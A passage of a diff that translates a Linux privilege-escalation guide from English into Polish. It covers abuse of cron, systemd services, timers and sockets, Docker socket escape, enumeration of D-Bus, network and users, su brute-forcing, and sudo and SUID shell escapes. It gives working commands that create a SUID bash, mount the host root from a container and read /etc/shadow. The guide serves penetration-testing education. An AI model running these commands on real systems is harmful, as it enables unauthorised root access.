/home/user_) - -If inside this crontab the root user tries to execute some command or script without setting the path. For example: _\* \* \* \* root overwrite.sh_\ -Then, you can get a root shell by using: +(_Zauważ, że użytkownik "user" ma uprawnienia do zapisu w /home/user_) +Jeśli w tym crontabie użytkownik root spróbuje wykonać jakąś komendę lub skrypt bez ustawienia ścieżki. Na przykład: _\* \* \* \* root overwrite.sh_\ +Wtedy możesz uzyskać powłokę roota, używając: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` +### Cron używający skryptu z dziką kartą (Wildcard Injection) -### Cron using a script with a wildcard (Wildcard Injection) - -If a script is executed by root has a “**\***” inside a command, you could exploit this to make unexpected things (like privesc). Example: - +Jeśli skrypt wykonywany przez root zawiera „**\***” w poleceniu, możesz to wykorzystać do wywołania nieoczekiwanych rzeczy (jak privesc). Przykład: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` +**Jeśli znak wieloznaczny jest poprzedzony ścieżką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).** -**If the wildcard is preceded of a path like** _**/some/path/\***_ **, it's not vulnerable (even** _**./\***_ **is not).** - -Read the following page for more wildcard exploitation tricks: +Przeczytaj następującą stronę, aby poznać więcej sztuczek związanych z wykorzystaniem znaków wieloznacznych: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron script overwriting and symlink - -If you **can modify a cron script** executed by root, you can get a shell very easily: +### Nadpisywanie skryptu Cron i symlink +Jeśli **możesz modyfikować skrypt cron** wykonywany przez roota, możesz bardzo łatwo uzyskać powłokę: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` - -If the script executed by root uses a **directory where you have full access**, maybe it could be useful to delete that folder and **create a symlink folder to another one** serving a script controlled by you - +Jeśli skrypt wykonywany przez root używa **katalogu, do którego masz pełny dostęp**, może być przydatne, aby usunąć ten folder i **utworzyć folder symlink do innego**, który obsługuje skrypt kontrolowany przez Ciebie. ```bash ln -d -s ``` +### Częste zadania cron -### Frequent cron jobs - -You can monitor the processes to search for processes that are being executed every 1, 2 or 5 minutes. Maybe you can take advantage of it and escalate privileges. - -For example, to **monitor every 0.1s during 1 minute**, **sort by less executed commands** and delete the commands that have been executed the most, you can do: +Możesz monitorować procesy, aby wyszukiwać procesy, które są wykonywane co 1, 2 lub 5 minut. Może uda ci się to wykorzystać i podnieść uprawnienia. +Na przykład, aby **monitorować co 0,1s przez 1 minutę**, **posortować według mniej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` +**Możesz również użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wyświetlać każdy uruchomiony proces). -**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts). - -### Invisible cron jobs - -It's possible to create a cronjob **putting a carriage return after a comment** (without newline character), and the cron job will work. Example (note the carriage return char): +### Niewidoczne zadania cron +Możliwe jest utworzenie zadania cron **dodając znak powrotu karetki po komentarzu** (bez znaku nowej linii), a zadanie cron będzie działać. Przykład (zauważ znak powrotu karetki): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` +## Usługi -## Services +### Zapisane pliki _.service_ -### Writable _.service_ files +Sprawdź, czy możesz zapisać jakikolwiek plik `.service`, jeśli tak, **możesz go zmodyfikować**, aby **wykonywał** twoją **tylną furtkę, gdy** usługa jest **uruchamiana**, **ponownie uruchamiana** lub **zatrzymywana** (może będziesz musiał poczekać, aż maszyna zostanie ponownie uruchomiona).\ +Na przykład stwórz swoją tylną furtkę wewnątrz pliku .service z **`ExecStart=/tmp/script.sh`** -Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\ -For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`** +### Zapisane binaria usług -### Writable service binaries +Pamiętaj, że jeśli masz **uprawnienia do zapisu w binariach wykonywanych przez usługi**, możesz je zmienić na tylne furtki, aby gdy usługi zostaną ponownie uruchomione, tylne furtki zostały wykonane. -Keep in mind that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed. - -### systemd PATH - Relative Paths - -You can see the PATH used by **systemd** with: +### systemd PATH - Ścieżki względne +Możesz zobaczyć PATH używaną przez **systemd** za pomocą: ```bash systemctl show-environment ``` - -If you find that you can **write** in any of the folders of the path you may be able to **escalate privileges**. You need to search for **relative paths being used on service configurations** files like: - +Jeśli odkryjesz, że możesz **zapisywać** w dowolnym z folderów ścieżki, możesz być w stanie **eskalować uprawnienia**. Musisz poszukać **ścieżek względnych używanych w plikach konfiguracji usług** takich jak: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` +Następnie stwórz **wykonywalny** plik o **tej samej nazwie co binarny plik z relatywnej ścieżki** w folderze PATH systemd, do którego masz prawo zapisu, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), twoja **tylnia furtka zostanie wykonana** (użytkownicy bez uprawnień zazwyczaj nie mogą uruchamiać/zatrzymywać usług, ale sprawdź, czy możesz użyć `sudo -l`). -Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`). +**Dowiedz się więcej o usługach za pomocą `man systemd.service`.** -**Learn more about services with `man systemd.service`.** +## **Timery** -## **Timers** - -**Timers** are systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously. - -You can enumerate all the timers with: +**Timery** to pliki jednostek systemd, których nazwa kończy się na `**.timer**`, które kontrolują pliki `**.service**` lub zdarzenia. **Timery** mogą być używane jako alternatywa dla cron, ponieważ mają wbudowane wsparcie dla zdarzeń czasowych kalendarza i zdarzeń monotonicznych oraz mogą być uruchamiane asynchronicznie. +Możesz wylistować wszystkie timery za pomocą: ```bash systemctl list-timers --all ``` - ### Writable timers -If you can modify a timer you can make it execute some existents of systemd.unit (like a `.service` or a `.target`) - +Jeśli możesz modyfikować timer, możesz sprawić, że wykona on niektóre instancje systemd.unit (takie jak `.service` lub `.target`) ```bash Unit=backdoor.service ``` +W dokumentacji możesz przeczytać, czym jest jednostka: -In the documentation you can read what the Unit is: +> Jednostka do aktywacji, gdy ten timer wygaśnie. Argument to nazwa jednostki, której przyrostek nie jest ".timer". Jeśli nie jest określona, ta wartość domyślnie odnosi się do usługi, która ma tę samą nazwę co jednostka timera, z wyjątkiem przyrostka. (Zobacz powyżej.) Zaleca się, aby nazwa jednostki, która jest aktywowana, i nazwa jednostki timera były identyczne, z wyjątkiem przyrostka. -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +Dlatego, aby nadużyć tego uprawnienia, musisz: -Therefore, to abuse this permission you would need to: +- Znaleźć jakąś jednostkę systemd (taką jak `.service`), która **wykonuje zapisywalny plik binarny** +- Znaleźć jakąś jednostkę systemd, która **wykonuje względną ścieżkę** i masz **uprawnienia do zapisu** w **ścieżce systemd** (aby podszyć się pod ten plik wykonywalny) -- Find some systemd unit (like a `.service`) that is **executing a writable binary** -- Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** (to impersonate that executable) +**Dowiedz się więcej o timerach za pomocą `man systemd.timer`.** -**Learn more about timers with `man systemd.timer`.** - -### **Enabling Timer** - -To enable a timer you need root privileges and to execute: +### **Włączanie timera** +Aby włączyć timer, potrzebujesz uprawnień roota i wykonać: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` - -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +Zauważ, że **timer** jest **aktywowany** przez utworzenie symlink do niego w `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. +Unix Domain Sockets (UDS) umożliwiają **komunikację procesów** na tych samych lub różnych maszynach w modelach klient-serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji między komputerami i są konfigurowane za pomocą plików `.socket`. -Sockets can be configured using `.socket` files. +Sockets można konfigurować za pomocą plików `.socket`. -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +**Dowiedz się więcej o socketach za pomocą `man systemd.socket`.** W tym pliku można skonfigurować kilka interesujących parametrów: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje są różne, ale używa się podsumowania, aby **wskazać, gdzie będzie nasłuchiwać** na socket (ścieżka pliku socketu AF_UNIX, IPv4/6 i/lub numer portu do nasłuchu itp.) +- `Accept`: Przyjmuje argument boolean. Jeśli **prawda**, **instancja usługi jest uruchamiana dla każdego przychodzącego połączenia** i tylko socket połączenia jest do niej przekazywany. Jeśli **fałsz**, wszystkie nasłuchujące sockety są **przekazywane do uruchomionej jednostki usługi**, a tylko jedna jednostka usługi jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla socketów datagramowych i FIFO, gdzie jedna jednostka usługi bezwarunkowo obsługuje cały przychodzący ruch. **Domyślnie fałsz**. Z powodów wydajnościowych zaleca się pisanie nowych demonów tylko w sposób odpowiedni dla `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Przyjmuje jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **socketów**/FIFO, odpowiednio. Pierwszy token linii poleceń musi być absolutną nazwą pliku, a następnie muszą być podane argumenty dla procesu. +- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **socketów**/FIFO, odpowiednio. +- `Service`: Określa nazwę jednostki **usługi**, **którą należy aktywować** przy **przychodzącym ruchu**. Ustawienie to jest dozwolone tylko dla socketów z Accept=no. Domyślnie jest to usługa, która nosi tę samą nazwę co socket (z zastąpionym sufiksem). W większości przypadków nie powinno być konieczne korzystanie z tej opcji. ### Writable .socket files -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -&#xNAN;_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +Jeśli znajdziesz **writable** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś takiego: `ExecStartPre=/home/kali/sys/backdoor`, a backdoor zostanie uruchomiony przed utworzeniem socketu. Dlatego prawdopodobnie będziesz **musiał poczekać, aż maszyna zostanie uruchomiona ponownie.**\ +&#xNAN;_Note, że system musi korzystać z tej konfiguracji pliku socket, w przeciwnym razie backdoor nie zostanie uruchomiony_ ### Writable sockets -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. +Jeśli **zidentyfikujesz jakikolwiek writable socket** (_teraz mówimy o Unix Sockets, a nie o plikach konfiguracyjnych `.socket`_), to **możesz komunikować się** z tym socketem i być może wykorzystać lukę. ### Enumerate Unix Sockets - ```bash netstat -a -p --unix ``` - -### Raw connection - +### Surowe połączenie ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -560,93 +473,88 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` - -**Exploitation example:** +**Przykład eksploatacji:** {{#ref}} socket-command-injection.md {{#endref}} -### HTTP sockets - -Note that there may be some **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). You can check this with: +### Gniazda HTTP +Zauważ, że mogą istnieć **gniazda nasłuchujące na żądania HTTP** (_Nie mówię o plikach .socket, ale o plikach działających jako gniazda unixowe_). Możesz to sprawdzić za pomocą: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` +Jeśli gniazdo **odpowiada żądaniem HTTP**, możesz **komunikować się** z nim i być może **wykorzystać jakąś lukę**. -If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. +### Zapisowalny gniazdo Docker -### Writable Docker Socket +Gniazdo Docker, często znajdujące się w `/var/run/docker.sock`, to krytyczny plik, który powinien być zabezpieczony. Domyślnie jest zapisywalne przez użytkownika `root` i członków grupy `docker`. Posiadanie dostępu do zapisu w tym gnieździe może prowadzić do eskalacji uprawnień. Oto podział, jak można to zrobić oraz alternatywne metody, jeśli interfejs wiersza poleceń Docker nie jest dostępny. -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. - -#### **Privilege Escalation with Docker CLI** - -If you have write access to the Docker socket, you can escalate privileges using the following commands: +#### **Eskalacja uprawnień z użyciem Docker CLI** +Jeśli masz dostęp do zapisu w gnieździe Docker, możesz eskalować uprawnienia, używając następujących poleceń: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` +Te polecenia pozwalają na uruchomienie kontenera z dostępem na poziomie roota do systemu plików hosta. -These commands allow you to run a container with root-level access to the host's file system. +#### **Bezpośrednie użycie API Dockera** -#### **Using Docker API Directly** +W przypadkach, gdy interfejs wiersza poleceń Dockera nie jest dostępny, gniazdo Dockera można nadal manipulować za pomocą API Dockera i poleceń `curl`. -In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands. +1. **Lista obrazów Dockera:** Pobierz listę dostępnych obrazów. -1. **List Docker Images:** Retrieve the list of available images. +```bash +curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json +``` - ```bash - curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json - ``` +2. **Utwórz kontener:** Wyślij żądanie utworzenia kontenera, który montuje katalog główny systemu hosta. -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +```bash +curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create +``` - ```bash - curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create - ``` +Uruchom nowo utworzony kontener: - Start the newly created container: +```bash +curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start +``` - ```bash - curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start - ``` +3. **Podłącz do kontenera:** Użyj `socat`, aby nawiązać połączenie z kontenerem, umożliwiając wykonanie poleceń w jego wnętrzu. -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +```bash +socat - UNIX-CONNECT:/var/run/docker.sock +POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 +Host: +Connection: Upgrade +Upgrade: tcp +``` - ```bash - socat - UNIX-CONNECT:/var/run/docker.sock - POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 - Host: - Connection: Upgrade - Upgrade: tcp - ``` +Po skonfigurowaniu połączenia `socat` możesz wykonywać polecenia bezpośrednio w kontenerze z dostępem na poziomie roota do systemu plików hosta. -After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. +### Inne -### Others +Zauważ, że jeśli masz uprawnienia do zapisu w gnieździe dockera, ponieważ jesteś **w grupie `docker`**, masz [**więcej sposobów na eskalację uprawnień**](interesting-groups-linux-pe/#docker-group). Jeśli [**API dockera nasłuchuje na porcie**, możesz również być w stanie je skompromitować](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). - -Check **more ways to break out from docker or abuse it to escalate privileges** in: +Sprawdź **więcej sposobów na wydostanie się z dockera lub nadużycie go w celu eskalacji uprawnień** w: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Eskalacja uprawnień Containerd (ctr) -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +Jeśli odkryjesz, że możesz używać polecenia **`ctr`**, przeczytaj następującą stronę, ponieważ **możesz być w stanie nadużyć go w celu eskalacji uprawnień**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **Eskalacja uprawnień RunC** -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +Jeśli odkryjesz, że możesz używać polecenia **`runc`**, przeczytaj następującą stronę, ponieważ **możesz być w stanie nadużyć go w celu eskalacji uprawnień**: {{#ref}} runc-privilege-escalation.md @@ -654,37 +562,34 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus is a sophisticated **inter-Process Communication (IPC) system** that enables applications to efficiently interact and share data. Designed with the modern Linux system in mind, it offers a robust framework for different forms of application communication. +D-Bus to zaawansowany **system komunikacji międzyprocesowej (IPC)**, który umożliwia aplikacjom efektywne interakcje i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidną strukturę dla różnych form komunikacji aplikacji. -The system is versatile, supporting basic IPC that enhances data exchange between processes, reminiscent of **enhanced UNIX domain sockets**. Moreover, it aids in broadcasting events or signals, fostering seamless integration among system components. For instance, a signal from a Bluetooth daemon about an incoming call can prompt a music player to mute, enhancing user experience. Additionally, D-Bus supports a remote object system, simplifying service requests and method invocations between applications, streamlining processes that were traditionally complex. +System jest wszechstronny, wspierając podstawowy IPC, który poprawia wymianę danych między procesami, przypominający **ulepszone gniazda domeny UNIX**. Ponadto wspomaga nadawanie zdarzeń lub sygnałów, sprzyjając płynnej integracji między komponentami systemu. Na przykład sygnał od demona Bluetooth o nadchodzącym połączeniu może spowodować, że odtwarzacz muzyki wyciszy dźwięk, poprawiając doświadczenia użytkownika. Dodatkowo D-Bus wspiera system obiektów zdalnych, upraszczając żądania usług i wywołania metod między aplikacjami, co usprawnia procesy, które były tradycyjnie skomplikowane. -D-Bus operates on an **allow/deny model**, managing message permissions (method calls, signal emissions, etc.) based on the cumulative effect of matching policy rules. These policies specify interactions with the bus, potentially allowing for privilege escalation through the exploitation of these permissions. +D-Bus działa na modelu **zezwolenia/odmowy**, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie kumulatywnego efektu dopasowanych reguł polityki. Polityki te określają interakcje z magistralą, potencjalnie umożliwiając eskalację uprawnień poprzez wykorzystanie tych uprawnień. -An example of such a policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` is provided, detailing permissions for the root user to own, send to, and receive messages from `fi.w1.wpa_supplicant1`. - -Policies without a specified user or group apply universally, while "default" context policies apply to all not covered by other specific policies. +Przykład takiej polityki w `/etc/dbus-1/system.d/wpa_supplicant.conf` jest podany, szczegółowo opisując uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości z `fi.w1.wpa_supplicant1`. +Polityki bez określonego użytkownika lub grupy mają zastosowanie uniwersalne, podczas gdy polityki kontekstu "domyślnego" mają zastosowanie do wszystkich, które nie są objęte innymi specyficznymi politykami. ```xml - - - - + + + + ``` - -**Learn how to enumerate and exploit a D-Bus communication here:** +**Dowiedz się, jak enumerować i wykorzystywać komunikację D-Bus tutaj:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} -## **Network** +## **Sieć** -It's always interesting to enumerate the network and figure out the position of the machine. - -### Generic enumeration +Zawsze interesujące jest enumerowanie sieci i ustalanie pozycji maszyny. +### Ogólna enumeracja ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -707,30 +612,24 @@ cat /etc/networks #Files used by network services lsof -i ``` +### Otwarte porty -### Open ports - -Always check network services running on the machine that you weren't able to interact with before accessing it: - +Zawsze sprawdzaj usługi sieciowe działające na maszynie, z którą nie mogłeś się wcześniej skontaktować przed uzyskaniem do niej dostępu: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` - ### Sniffing -Check if you can sniff traffic. If you can, you could be able to grab some credentials. - +Sprawdź, czy możesz przechwycić ruch. Jeśli tak, możesz być w stanie zdobyć jakieś poświadczenia. ``` timeout 1 tcpdump ``` +## Użytkownicy -## Users - -### Generic Enumeration - -Check **who** you are, which **privileges** do you have, which **users** are in the systems, which ones can **login** and which ones have **root privileges:** +### Ogólna enumeracja +Sprawdź **kto** jesteś, jakie **uprawnienia** posiadasz, którzy **użytkownicy** są w systemach, którzy mogą **zalogować** się i którzy mają **uprawnienia root:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -752,15 +651,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` - ### Big UID -Some Linux versions were affected by a bug that allows users with **UID > INT_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +Niektóre wersje Linuxa były dotknięte błędem, który pozwala użytkownikom z **UID > INT_MAX** na eskalację uprawnień. Więcej informacji: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) i [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Wykorzystaj to** używając: **`systemd-run -t /bin/bash`** ### Groups -Check if you are a **member of some group** that could grant you root privileges: +Sprawdź, czy jesteś **członkiem jakiejś grupy**, która może przyznać ci uprawnienia roota: {{#ref}} interesting-groups-linux-pe/ @@ -768,51 +666,44 @@ interesting-groups-linux-pe/ ### Clipboard -Check if anything interesting is located inside the clipboard (if possible) - +Sprawdź, czy w schowku znajduje się coś interesującego (jeśli to możliwe) ```bash if [ `which xclip 2>/dev/null` ]; then - echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` - echo "Highlighted text: "`xclip -o 2>/dev/null` - elif [ `which xsel 2>/dev/null` ]; then - echo "Clipboard: "`xsel -ob 2>/dev/null` - echo "Highlighted text: "`xsel -o 2>/dev/null` - else echo "Not found xsel and xclip" - fi +echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` +echo "Highlighted text: "`xclip -o 2>/dev/null` +elif [ `which xsel 2>/dev/null` ]; then +echo "Clipboard: "`xsel -ob 2>/dev/null` +echo "Highlighted text: "`xsel -o 2>/dev/null` +else echo "Not found xsel and xclip" +fi ``` - -### Password Policy - +### Polityka haseł ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` +### Znane hasła -### Known passwords - -If you **know any password** of the environment **try to login as each user** using the password. +Jeśli **znasz jakiekolwiek hasło** środowiska **spróbuj zalogować się jako każdy użytkownik** używając tego hasła. ### Su Brute -If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. +Jeśli nie przeszkadza ci robienie dużego hałasu i binaria `su` oraz `timeout` są obecne na komputerze, możesz spróbować przeprowadzić atak brute-force na użytkowników używając [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` również próbuje przeprowadzić atak brute-force na użytkowników. -## Writable PATH abuses +## Nadużycia zapisywalnego PATH ### $PATH -If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. +Jeśli odkryjesz, że możesz **zapisywać w jakimś folderze w $PATH**, możesz być w stanie podnieść uprawnienia poprzez **utworzenie tylnego wejścia w zapisywalnym folderze** o nazwie jakiejś komendy, która będzie wykonywana przez innego użytkownika (najlepiej root) i która **nie jest ładowana z folderu, który znajduje się przed** twoim zapisywalnym folderem w $PATH. -### SUDO and SUID - -You could be allowed to execute some command using sudo or they could have the suid bit. Check it using: +### SUDO i SUID +Możesz mieć pozwolenie na wykonanie niektórych komend używając sudo lub mogą mieć bit suid. Sprawdź to używając: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` - -Some **unexpected commands allow you to read and/or write files or even execute a command.** For example: - +Niektóre **nieoczekiwane polecenia pozwalają na odczyt i/lub zapis plików, a nawet wykonanie polecenia.** Na przykład: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -821,43 +712,33 @@ sudo tar c a.tar -I ./runme.sh a ftp>!/bin/sh less>! ``` - ### NOPASSWD -Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password. - +Konfiguracja Sudo może pozwolić użytkownikowi na wykonanie niektórych poleceń z uprawnieniami innego użytkownika bez znajomości hasła. ``` $ sudo -l User demo may run the following commands on crashlab: - (root) NOPASSWD: /usr/bin/vim +(root) NOPASSWD: /usr/bin/vim ``` - -In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`. - +W tym przykładzie użytkownik `demo` może uruchomić `vim` jako `root`, teraz uzyskanie powłoki jest trywialne poprzez dodanie klucza ssh do katalogu root lub przez wywołanie `sh`. ``` sudo vim -c '!sh' ``` - ### SETENV -This directive allows the user to **set an environment variable** while executing something: - +Ta dyrektywa pozwala użytkownikowi **ustawić zmienną środowiskową** podczas wykonywania czegoś: ```bash $ sudo -l User waldo may run the following commands on admirer: - (ALL) SETENV: /opt/scripts/admin_tasks.sh +(ALL) SETENV: /opt/scripts/admin_tasks.sh ``` - -This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPATH hijacking** to load an arbitrary python library while executing the script as root: - +Ten przykład, **oparty na maszynie HTB Admirer**, był **wrażliwy** na **PYTHONPATH hijacking**, aby załadować dowolną bibliotekę Pythona podczas wykonywania skryptu jako root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` - ### Sudo execution bypassing paths -**Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ - +**Skok** do odczytu innych plików lub użyj **symlinków**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -867,89 +748,73 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` - -If a **wildcard** is used (\*), it is even easier: - +Jeśli użyto **wildcard** (\*), jest to jeszcze 